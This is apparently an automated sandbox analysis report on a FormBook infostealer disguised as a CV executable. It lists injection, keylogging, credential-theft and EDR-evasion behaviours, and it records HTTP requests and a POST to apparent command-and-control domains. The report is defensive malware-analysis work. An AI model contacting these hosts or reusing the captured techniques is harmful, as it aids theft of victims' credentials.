Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
CV_ Filipa Barbosa.exe

Overview

General Information

Sample name:CV_ Filipa Barbosa.exe
Analysis ID:1559218
MD5:da81aec77a2722b43e145d3ba84a6dff
SHA1:665901fb3d48620ff8764eb0cacc03e05a13f289
SHA256:58ddab9b1f053b01967cdcbc7f828cff5a4b1b56f55bab33f2b27b4c24cbe573
Tags:exeuser-lowmal3
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • CV_ Filipa Barbosa.exe (PID: 7380 cmdline: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe" MD5: DA81AEC77A2722B43E145D3BA84A6DFF)
    • svchost.exe (PID: 7448 cmdline: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • BzEfnSVbdFtPTT.exe (PID: 6872 cmdline: "C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • wlanext.exe (PID: 7664 cmdline: "C:\Windows\SysWOW64\wlanext.exe" MD5: 0D5F0A7CA2A8A47E3A26FB1CB67E118C)
          • BzEfnSVbdFtPTT.exe (PID: 3776 cmdline: "C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 7940 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.3229814145.0000000003740000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000002.00000002.1748343762.0000000004BE0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000006.00000002.3231857201.00000000055A0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000004.00000002.3229700970.0000000003E60000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000002.00000002.1746420362.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine|base64offset|contains: )b, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ParentImage: C:\Users\user\Desktop\CV_ Filipa Barbosa.exe, ParentProcessId: 7380, ParentProcessName: CV_ Filipa Barbosa.exe, ProcessCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ProcessId: 7448, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", CommandLine|base64offset|contains: )b, Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ParentImage: C:\Users\user\Desktop\CV_ Filipa Barbosa.exe, ParentProcessId: 7380, ParentProcessName: CV_ Filipa Barbosa.exe, ProcessCommandLine: "C:\Users\user\Desktop\CV_ Filipa Barbosa.exe", ProcessId: 7448, ProcessName: svchost.exe

                Suricata Signatures

                ⊘No Suricata rule has matched

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Multi AV Scanner detection for submitted file
                Source: CV_ Filipa Barbosa.exeReversingLabs: Detection: 55%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.3229814145.0000000003740000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1748343762.0000000004BE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3231857201.00000000055A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.3229700970.0000000003E60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1746420362.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3229751089.00000000036F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3228314950.0000000003240000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1752780836.00000000076A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: CV_ Filipa Barbosa.exeJoe Sandbox ML: detected
                Source: CV_ Filipa Barbosa.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: BzEfnSVbdFtPTT.exe, 00000004.00000000.1669604535.0000000000CFE000.00000002.00000001.01000000.00000005.sdmp, BzEfnSVbdFtPTT.exe, 00000006.00000002.3228371451.0000000000CFE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: CV_ Filipa Barbosa.exe, 00000000.00000003.1380872450.0000000003CE0000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1376110379.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1647650191.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645383456.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.000000000359E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3230253073.00000000039E0000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1749306818.0000000003831000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3230253073.0000000003B7E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1746447331.000000000365A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: CV_ Filipa Barbosa.exe, 00000000.00000003.1380872450.0000000003CE0000.00000004.00001000.00020000.00000000.sdmp, CV_ Filipa Barbosa.exe, 00000000.00000003.1376110379.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1647650191.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1645383456.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1747604342.000000000359E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, wlanext.exe, 00000005.00000002.3230253073.00000000039E0000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1749306818.0000000003831000.00000004.00000020.00020000.00000000.sdmp, wlanext.exe, 00000005.00000002.3230253073.0000000003B7E000.00000040.00001000.00020000.00000000.sdmp, wlanext.exe, 00000005.00000003.1746447331.000000000365A000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdb source: svchost.exe, 00000002.00000003.1715458538.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715540319.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229099601.0000000000E17000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wlanext.pdbGCTL source: svchost.exe, 00000002.00000003.1715458538.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1715540319.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp, BzEfnSVbdFtPTT.exe, 00000004.00000002.3229099601.0000000000E17000.00000004.00000020.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B66CA9 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00B66CA9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,0_2_00B660DD
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,0_2_00B663F9
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00B6EB60
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00B6F5FA
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B6F56F FindFirstFileW,FindClose,0_2_00B6F56F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B71B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00B71B2F
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B71C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00B71C8A
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B71F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,0_2_00B71F94
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 5_2_0325C590 FindFirstFileW,FindNextFileW,FindClose,5_2_0325C590
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 4x nop then xor eax, eax5_2_03249EB0
                Source: C:\Windows\SysWOW64\wlanext.exeCode function: 4x nop then mov ebx, 00000004h5_2_038E04DE

                Networking

                barindex
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.logidant.xyz
                Source: Joe Sandbox ViewIP Address: 13.248.169.48 13.248.169.48
                Source: Joe Sandbox ViewASN Name: YURTEH-ASUA YURTEH-ASUA
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\CV_ Filipa Barbosa.exeCode function: 0_2_00B74EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,0_2_00B74EB5
                Source: global trafficHTTP traffic detected: GET /alo6/?X88x4=H6Ch8lj0uBw&JNL8=s1RhBgSSc/k3T0jY69p04wHuVqsYenMc25RslsirlG2uVcm1vZZrQ7zhNnD/cyUNeUvgDkKIi8l9eWRRC/1CkJf42Qz4bngY1UZzOftSXnKuevI0uw== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.1secondlending.oneUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /ctvu/?JNL8=306z4jMFZ8cLvHYY85VQdnEVrU0EcxNOzz9oMF1ntEZl1SQIBC+VKPA8lqMh/UdrcskgnhZVBAq8zTFw0YpHcNpskMEX/Vp/870g00gMcVdrHWaYzA==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.logidant.xyzUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /bryf/?X88x4=H6Ch8lj0uBw&JNL8=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpU9j97yvZuhtMhzyAI/NJ21l8xuZT6w== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.wcq77.topUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /grm8/?JNL8=LXeIWcjRI+0vwDaXEde7oG2YWcXnzKtvPQ+DeJcDhGcq3DSHHwCG/Mepb2eQXiRJ2aihtUY8szHS/Cbz5IjtRPdFdlkmtueAUvF6RpU0Y2jb/KOkZA==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.mindfulmo.lifeUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /z7sc/?JNL8=lpyE2AbPqI/20nbKSARmowg0bFSQhSm/nj7uqY0yeMpYT6Ph3E36c6D0EpnRPNVSfUYtH00jj9MWE9I4iZUmXCU7bY8Fe8ByboZfJUuFgcbAB+feKg==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.bienmaigrir.infoUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /983l/?JNL8=g8WLTYlf9hWOZIACu6eMazkcK6a43iRzmTuFWyAeHkX1YMY2d2zKbSbTvvKDd0IL0E8lOJWyqcUo2Xu9lNGbJxwAYrBzqcL5v1XxiEv4U+RE6Tf5UA==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.exitomagnetico.onlineUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /w9az/?JNL8=okpuM/0ib/ITckpSJOe46bDFdJCX1e1J/DJKs01IL9Rp28jerhgTxssC6Fi40/IOPldRdbmbGaYmryx1Ll4UYQKzVpLeNRUpwR1VWbLdxvEP10zk3A==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.betmatchx.onlineUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /xz45/?JNL8=7Gl4eI2ymk7esmTLtSpxAatYul5JA3Gonx7jFa75SCeEQi1G+RGQY0LgPCeJyXg2C6GorcwS5UbL8Y/pt3QrTu75YBs+CNakhlsr0AGPWS12PGpJNQ==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.bcg.servicesUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficHTTP traffic detected: GET /1a34/?JNL8=UhEylRAMCxjlfkeAI9EIBPkQ3EqBOUgirJRYrSpl2vEmDrtdD83fz84LtzcmrW6WKOP6wZH/8TlB0y+yX7Xcphv8UaxKym5DcZZ39NQ+H3EikXqfKA==&X88x4=H6Ch8lj0uBw HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.mffnow.infoUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                Source: global trafficDNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa
                Source: global trafficDNS traffic detected: DNS query: www.1secondlending.one
                Source: global trafficDNS traffic detected: DNS query: www.logidant.xyz
                Source: global trafficDNS traffic detected: DNS query: www.wcq77.top
                Source: global trafficDNS traffic detected: DNS query: www.mindfulmo.life
                Source: global trafficDNS traffic detected: DNS query: www.bienmaigrir.info
                Source: global trafficDNS traffic detected: DNS query: www.exitomagnetico.online
                Source: global trafficDNS traffic detected: DNS query: www.betmatchx.online
                Source: global trafficDNS traffic detected: DNS query: www.bcg.services
                Source: global trafficDNS traffic detected: DNS query: www.mffnow.info
                Source: global trafficDNS traffic detected: DNS query: www.remedies.pro
                Source: unknownHTTP traffic detected: POST /ctvu/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Cache-Control: no-cacheContent-Length: 193Connection: closeContent-Type: application/x-www-form-urlencodedHost: www.logidant.xyzOrigin: http://www.logidant.xyzReferer: http://www.logidant.xyz/ctvu/User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)Data Raw: 4a 4e 4c 38 3d 36 32 53 54 37 57 34 47 55 64 56 76 7a 44 56 46 78 71 42 4d 64 47 41 6c 70 67 70 76 63 51 52 38 78 68 67 6a 62 57 74 37 38 56 70 44 36 68 52 42 65 41 32 47 61 39 6c 64 71 75 6b 62 79 47 5a 4b 51 64 6b 6e 6f 7a 78 54 49 32 36 65 69 43 41 39 68 64 46 77 58 4a 35 52 73 66 4d 45 74 33 77 38 75 6f 74 48 34 44 49 44 62 6d 52 59 44 48 48 70 77 5a 41 44 51 66 52 42 57 57 62 4a 41 33 4c 33 49 66 36 4e 6f 62 51 72 47 41 4f 45 6a 73 43 33 4a 32 72 30 53 4a 6c 74 43 4f 76 56 67 41 54 39 46 4d 63 4e 56 34 62 76 30 56 52 6c 2f 71 56 4b 48 74 58 44 42 70 31 6d 2b 2b 66 58 Data Ascii: JNL8=62ST7W4GUdVvzDVFxqBMdGAlpgpvcQR8xhgjbWt78VpD6hRBeA2Ga9ldqukbyGZKQdknozxTI26eiCA9hdFwXJ5RsfMEt3w8uotH4DIDbmRYDHHpwZADQfRBWWbJA3L3If6NobQrGAOEjsC3J2r0SJltCOvVgAT9FMcNV4bv0VRl/qVKHtXDBp1m++fX
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:08 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:24 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:27 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Nov 2024 09:26:29 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
